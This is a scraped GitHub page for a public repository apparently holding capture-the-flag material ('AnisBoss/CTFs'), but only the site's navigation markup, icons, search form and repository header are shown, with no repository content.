<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="102334842" data-scoped-search-url="/AnisBoss/CTFs/search" data-owner-scoped-search-url="/users/AnisBoss/search" data-unscoped-search-url="/search" data-turbo="false" action="/AnisBoss/CTFs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="JziZnapIRnCMNGqBhBJbb74IyNfOkpAwqQAMb6FDMrAZIpsQZGg6w0/Gt8vCYpjSQCj4OiJAG1DGDaXv2Wpv9w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> AnisBoss </span> <span>/</span> CTFs
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
